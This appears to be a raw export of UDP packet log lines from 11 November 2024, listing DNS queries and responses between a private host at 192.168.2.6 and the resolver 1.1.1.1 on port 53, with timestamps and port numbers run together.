                                                                                                                                                                                                          Nov 11, 2024 18:13:00.916687012 CET5183253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.917965889 CET4992653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.920185089 CET6256253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.920361996 CET6263853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.920533895 CET6166853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.925476074 CET53518321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.929377079 CET53625621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.930109024 CET53499261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.930768967 CET53626381.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.937433958 CET53624281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.943258047 CET5551353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.952635050 CET53616681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.954257011 CET53555131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.967644930 CET5968153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.973874092 CET5756453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974134922 CET4929753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974189043 CET6499653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974340916 CET5802653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974416018 CET5881153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.974817991 CET6137553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.979260921 CET53596811.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.980923891 CET53649961.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.984088898 CET53534781.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.984100103 CET53588111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.984358072 CET53492971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.989037037 CET53575641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.991792917 CET6258353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.992124081 CET6231753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.994189024 CET5712853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.997484922 CET6249153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.997770071 CET5676753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:00.998136044 CET5468853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.003547907 CET6424253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.005829096 CET53613751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.008578062 CET53571281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.009963036 CET53546881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.011066914 CET6166653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.011498928 CET53642421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.011648893 CET5686853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.018594980 CET5389353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.021811008 CET53616661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.022244930 CET53625831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.030153990 CET53624911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.041740894 CET53568681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.121042013 CET53559621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.172548056 CET53580261.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.211354971 CET53623171.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.234741926 CET53538931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:01.246675968 CET53567671.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.824131012 CET5371053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.851231098 CET5122553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.853267908 CET5986853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.859343052 CET53537101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.880652905 CET6067653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.881987095 CET5937153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.883622885 CET5871253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.884171009 CET53598681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.884284019 CET53512251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.885565996 CET6528053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.889838934 CET5169753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.892216921 CET5360853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.892612934 CET53587121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.893079042 CET5831553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.894937992 CET53593711.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.895286083 CET53652801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.899530888 CET53536081.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.902462006 CET53583151.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906280041 CET5172853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906454086 CET5818653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906590939 CET5025753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906774998 CET5566253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.906899929 CET5073353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.911498070 CET53606761.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.915771008 CET6326353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.916331053 CET53581861.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.916605949 CET53517281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.916640043 CET53507331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.916740894 CET53502571.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.924478054 CET53516971.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.925772905 CET53632631.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.951781034 CET5839353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.953144073 CET6394353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.968777895 CET53583931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.983674049 CET5150053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.989972115 CET4949353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.991375923 CET6459453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.994342089 CET53515001.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.995467901 CET5437753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.996298075 CET5747953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.997622013 CET4998853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.998516083 CET6104253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:04.998927116 CET5511853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.000077963 CET5958853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.000868082 CET6020353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.002047062 CET5991253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.003528118 CET5979353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.004714012 CET5291353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.005507946 CET53574791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.005692005 CET5807353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.006777048 CET5584553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.006974936 CET5494953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.007296085 CET53499881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.008454084 CET6417253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.008663893 CET53610421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.009274006 CET5758553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.010601044 CET53595881.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.011411905 CET53602031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.013659954 CET53597931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.014492989 CET53543771.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.015151024 CET53558451.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.015405893 CET53580731.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.015732050 CET5563053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.016840935 CET5042553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.017164946 CET53549491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.019479990 CET53575851.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.019961119 CET5474453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.020961046 CET53494931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.021548986 CET5703153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.021863937 CET53645941.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.022109985 CET6289153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.023583889 CET5735053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.024159908 CET5073453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.025298119 CET5743353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.026231050 CET53556301.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.026283979 CET5307953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.027107000 CET5912053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.031053066 CET6528353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.031212091 CET5346453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.032042027 CET6406453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.033179998 CET5345953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.033796072 CET6401453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.034616947 CET5997553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.046180010 CET53547441.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.046192884 CET53551181.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.046214104 CET53599121.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.046251059 CET53529131.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.046260118 CET53641721.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.049031973 CET53504251.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.051028967 CET53530791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.051620007 CET53574331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.053740978 CET53534641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.053795099 CET53570311.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.053805113 CET53640641.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.053816080 CET53640141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.053910017 CET53599751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.054917097 CET53652831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.073045969 CET53573501.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.073626995 CET53591201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.073637962 CET53628911.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.075634003 CET53534591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.129367113 CET53556621.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.145898104 CET5163253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.152420044 CET5087953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.155678034 CET53516321.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.156913042 CET5267553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.159832954 CET6040653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.163007021 CET53508791.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.166435957 CET53526751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.170006037 CET5244953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.191023111 CET53604061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.201185942 CET53524491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.209096909 CET6330553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.217833042 CET53633051.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.227040052 CET5230953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.228208065 CET5311453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.229670048 CET5120153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.236402035 CET53523091.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.259545088 CET53531141.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.259974003 CET53512011.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.269134045 CET6275653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.269896984 CET5440253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.270788908 CET6138753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.641787052 CET53613871.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.641803026 CET53507341.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.642106056 CET53627561.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.642117023 CET53544021.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:05.646610975 CET53639431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.626756907 CET6205353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.627233982 CET5402853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.627679110 CET6112753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.628077030 CET5300353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.634454966 CET6331053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.635454893 CET5733953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.636738062 CET5441153192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.637120962 CET53540281.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.637501955 CET53620531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.637970924 CET53611271.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.638159037 CET53530031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.645538092 CET53573391.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.646284103 CET53544111.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.666718006 CET5676853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.683963060 CET53567681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.690654993 CET53633101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.707135916 CET6401653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.712532043 CET5218253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.716716051 CET6479053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.717837095 CET53640161.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.721795082 CET5846853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.722796917 CET53521821.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.726191998 CET53647901.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.732661963 CET53584681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.747279882 CET5860753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.747648001 CET5277553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.757385969 CET53527751.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.781661987 CET53586071.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.792717934 CET6358353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.793483973 CET5614253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.794289112 CET5101053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.799484968 CET5550353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.803673983 CET53510101.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.804311991 CET53561421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.813673973 CET4962453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.823837042 CET53496241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.830540895 CET53555031.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.844245911 CET6255353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.847687960 CET5621953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.849319935 CET6273553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.849733114 CET5292053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.852325916 CET5194953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.853288889 CET6143753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.853884935 CET4988053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.854726076 CET53625531.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.858997107 CET53519491.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.859141111 CET53627351.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.859337091 CET53529201.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.863146067 CET53614371.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.864526987 CET53498801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.874237061 CET5293653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.874397993 CET5438053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.874634027 CET6459353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.874802113 CET5318353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.875186920 CET5303353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.875339031 CET5645953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.875653982 CET6190053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.875804901 CET5956553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.876044989 CET6528953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.876194000 CET6448953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.876564980 CET5895953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.876734018 CET5076653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.877048016 CET6396853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.877496958 CET5939553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.878812075 CET53562191.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.881738901 CET53645931.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.883873940 CET53531831.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.884197950 CET53529361.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.884969950 CET53564591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.884982109 CET53530331.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.885392904 CET53644891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.885695934 CET53652891.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.887810946 CET53593951.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.888006926 CET53507661.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.889401913 CET53589591.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.892905951 CET53543801.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.894145012 CET6244253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.894836903 CET5562453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.895004988 CET6234353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.895270109 CET5223953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.897265911 CET6198553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.900412083 CET6480653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.904047012 CET53556241.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.905361891 CET53624421.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.905715942 CET53623431.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.906930923 CET53639681.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.907300949 CET53595651.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:11.909528017 CET53648061.1.1.1192.168.2.6
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.109793901 CET5028653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.125233889 CET5425353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.125672102 CET5178253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.125849009 CET6436653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.126183987 CET4928853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.126656055 CET5363553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.126811028 CET5923453192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.126964092 CET5707953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.127110004 CET5813853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.127340078 CET6459353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.127466917 CET6026653192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.127940893 CET5263853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.132618904 CET5670353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.132819891 CET6413853192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.133174896 CET5217353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.134609938 CET5359253192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.134870052 CET5482753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.135229111 CET5062753192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.782835007 CET6358353192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.876529932 CET6190053192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.907783985 CET6198553192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.907840014 CET5223953192.168.2.61.1.1.1
                                                                                                                                                                                                          Nov 11, 2024 18:13:12.960150957 CET53522391.1.1.1192.168.2.6
